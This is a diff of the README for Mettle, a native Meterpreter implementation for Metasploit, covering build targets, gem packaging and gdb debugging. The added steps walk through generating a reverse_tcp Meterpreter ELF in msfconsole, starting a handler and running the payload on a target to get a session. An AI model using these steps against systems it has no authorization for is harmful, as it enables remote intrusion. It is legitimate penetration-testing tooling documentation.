1
- Mettle
2
- ======
1
+ # Mettle
3
2
4
- This is an implementation of a native-code Meterpreter, designed for
5
- portability, embeddability, and low resource utilization. It can run on the
6
- smallest embedded Linux targets to big iron, and targets Android, iOS, macOS,
7
- Linux, and Windows, but can be ported to almost any POSIX-compliant
8
- environment.
3
+ This is an implementation of a native-code Meterpreter, designed for portability, embeddability, and low resource
4
+ utilization. It can run on the smallest embedded Linux targets to big iron, and targets Android, iOS, macOS, Linux, and
5
+ Windows, but can be ported to almost any POSIX-compliant environment.
9
6
10
- Building on Linux
11
- ------------
7
+ ## Building on Linux
12
8
13
- Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and the following packages available:
9
+ Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and
10
+ the following packages available:
14
11
15
12
```
16
13
# Dependencies
17
- apt install curl build-essential git autoconf automake libtool bison flex gcc ruby rake bundler git mingw-w64
14
+ apt install curl build-essential git autoconf automake libtool bison flex gcc ruby rake bundler git mingw-w64
18
15
```
19
16
20
- The Dockerfile under docker/Dockerfile contains a pre-configured build
21
- environment as well.
17
+ The Dockerfile under docker/Dockerfile contains a pre-configured build environment as well.
22
18
23
- Building on macOS
24
- ------------
19
+ ## Building on macOS
25
20
26
21
On macOS you will need to install the xcode command line tools as follows:
27
22
28
23
```
29
24
xcode-select --install
30
25
```
31
26
32
- Make Targets
33
- ------------
27
+ ## Make Targets
34
28
35
29
For general development, there are a few make targets defined:
36
30
37
- Running ` make ` will build for the local environment. E.g. if you're on macOS,
38
- it will build for macOS using your native compiler and tools.
31
+ Running ` make ` will build for the local environment. E.g. if you're on macOS,it will build for macOS using your native
32
+ compiler and tools.
39
33
40
- ` make TARGET=triple ` will build for a specific host triple. See below for some
41
- common ones.
34
+ ` make TARGET=triple ` will build for a specific host triple. See below for some common ones.
42
35
43
36
` make clean ` will clean the 'mettle' directory for the current build target
44
37
@@ -48,8 +41,7 @@ common ones.
48
41
49
42
` make clean-parallel ` and ` make distclean-parallel ` do similar for all targets.
50
43
51
- Packaging
52
- =========
44
+ # Packaging
53
45
54
46
To build the gem for distribution (currently requires Linux or macOS):
55
47
@@ -69,8 +61,7 @@ To completely reset your dev environment and delete all binary artifacts:
69
61
rake mettle:ultraclean
70
62
```
71
63
72
- Gem API
73
- -------
64
+ ## Gem API
74
65
75
66
To generate a payload with Mettle:
76
67
``` ruby
@@ -91,15 +82,14 @@ The available platform triples for Linux targets are:
91
82
* ` mips64-linux-muslsf `
92
83
* ` s390x-linux-musl `
93
84
94
- For Mingw32-64 Windows targets, the following triples are added. On up-to-date
95
- Debian / Ubuntu systems, the ` mingw-w64 ` package will install both toolchains.
85
+ For Mingw32-64 Windows targets, the following triples are added. On up-to-date Debian / Ubuntu systems, the ` mingw-w64 `
86
+ package will install both toolchains.
96
87
97
88
* ` x86_64-w64-mingw32 `
98
89
* ` i686-w64-mingw32 `
99
90
100
- For macOS/iOS builds, the following triples are added. To target older macOS/OSX
101
- versions, see https://github.com/phracker/MacOSX-SDKs to get the appropriate
102
- SDK folder.
91
+ For macOS/iOS builds, the following triples are added. To target older macOS/OSX versions, see
92
+ https://github.com/phracker/MacOSX-SDKs to get the appropriate SDK folder.
103
93
104
94
* ` arm-iphone-darwin `
105
95
* ` aarch64-iphone-darwin `
@@ -129,24 +119,114 @@ The formats are:
129
119
* ` :process_image ` - a process image that must be started with a custom stack (see ` doc/stack_requirements.md ` )
130
120
131
121
132
- Using with Metasploit
133
- ---------------------
122
+ ## Using with Metasploit
134
123
135
124
To pull your local changes of mettle into your Metasploit install:
136
125
137
- 1 . Add ` -dev ` to the version in ` lib/metasploit_payloads/mettle/version.rb `
138
- 2 . Build the gem as above
126
+ 1 . Add ` -dev ` to the version in ` lib/metasploit_payloads/mettle/version.rb ` :
127
+ ```
128
+ # -*- coding:binary -*-
129
+ module MetasploitPayloads
130
+ VERSION = '1.0.28-dev'
131
+
132
+ def self.version
133
+ VERSION
134
+ end
135
+ end
136
+ ```
137
+ 2 . Build the gem with:
138
+ ```
139
+ ~/code/mettle$ rake build
140
+ => metasploit_payloads-mettle 1.0.28.pre.dev built to pkg/metasploit_payloads-mettle-1.0.28.pre.dev.gem.
141
+ ```
139
142
3 . Copy ` pkg/metasploit-payloads-mettle-X.X.X.pre.dev.gem ` to the box you are using for Metasploit if it is different
140
- 4 . Change the version in your metasploit-framework.gemspec to match the one you just built
143
+ 4 . Change the version in your ` metasploit-framework.gemspec ` to match the one you just built:
144
+ ```
145
+ spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
146
+ ```
141
147
5 . ` gem install <path to new gem> ` (for example: 'metasploit_payloads-mettle', '0.4.1.pre.dev')
142
- 6 . Run ` bundle install ` in your Framework directory, and ensure you see something like ` Using metasploit_payloads-mettle 0.4.1.pre.dev (was 0.4.1) ` in the output
143
- 7 . Congrats, you are now done!
148
+ ```
149
+ ~/code/metasploit-framework$ gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem
150
+ Successfully installed metasploit_payloads-mettle-1.0.28.pre.dev
151
+ Parsing documentation for metasploit_payloads-mettle-1.0.28.pre.dev
152
+ Installing ri documentation for metasploit_payloads-mettle-1.0.28.pre.dev
153
+ Done installing documentation for metasploit_payloads-mettle after 0 seconds 1 gem installed
154
+ ```
155
+ 6 . Run ` bundle install ` in your Framework directory, and ensure you see something like the following in the output:
156
+ ```
157
+ Using metasploit_payloads-mettle 1.0.28.pre.dev (was 1.0.26)
158
+ ```
159
+
160
+ 7 . Use an appropriate payload:
161
+ ```
162
+ msf6> use payload/linux/x64/meterpreter/reverse_tcp
163
+ ```
164
+
165
+ 8 . Generate the payload:
166
+ ```
167
+ msf6> payload(linux/x64/meterpreter_reverse_tcp) > generate -f elf -o mettle.elf
168
+ ```
169
+
170
+ 9 . Change the file permissions:
171
+
172
+ ```
173
+ msf6> payload(linux/x64/meterpreter_reverse_tcp) > chmod +x mettle.elf
174
+ ```
175
+
176
+ 10 . Set up a handler
177
+ ```
178
+ msf6> payload(linux/x64/meterpreter_reverse_tcp) > to_handler
179
+ ```
180
+
181
+ 11 . Move the payload to the target machine and run it, you should now get back a session on ` msfconsole ` !
182
+
183
+
184
+ ## Docker
185
+ The following steps make use of ` gdb ` for debugging.
186
+ 1 . Run the Docker container:
187
+ ```
188
+ ~/code/mettle$ sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
189
+ ```
190
+
191
+ 2 . Within the container run the following commands:
192
+ ```
193
+ /home/ubuntu/code/mettle# sudo apt-get update
194
+
195
+ /home/ubuntu/code/mettle# sudo apt-get install gdb
196
+ ```
197
+
198
+ 3 . Compile(` D=1 ` enables debugging):
199
+ ```
200
+ /home/ubuntu/code/mettle# make clean
201
+
202
+ /home/ubuntu/code/mettle# make D=1
203
+ ```
204
+
205
+ 4 . Then run with ` gdb ` :
206
+ ```
207
+ /home/ubuntu/code/mettle# gdb --args /home/ubuntu/code/mettle/build/linux.x86_64/bin/mettle --debug 3 --uri "tcp://192.168.175.1:4444"
208
+ ```
209
+
210
+ 5 . Once within ` gdb ` run the following commands:
211
+ ```
212
+ (gdb) b *main
213
+
214
+ (gdb) run
215
+ ```
216
+
217
+ 6 . To get breakpoint in ` gbd ` add the following into your code:
218
+ ```
219
+ __asm("int3");
220
+ ```
221
+
222
+ ### TUI
223
+ [ TUI] ( https://sourceware.org/gdb/current/onlinedocs/gdb.html/TUI.html ) allows ` gdb ` to show the code above the terminal
224
+ for easier code traversal when debugging. _ Note_ TUI will remove use of arrows for navigating console history.
225
+
226
+ ## Pushing out a New Gem
144
227
145
- Pushing out a New Gem
146
- ----------------------
147
228
Build CI will automatically publish new gems when commits land to master and pass build.
148
229
1 . Test Locally
149
230
2 . Land the changes to upstream master
150
231
3 . Monitor for the new gem on rubygems.org
151
232
4 . Once the gem appears, make a PR for bumping the version in framework
152
-
0 commit comments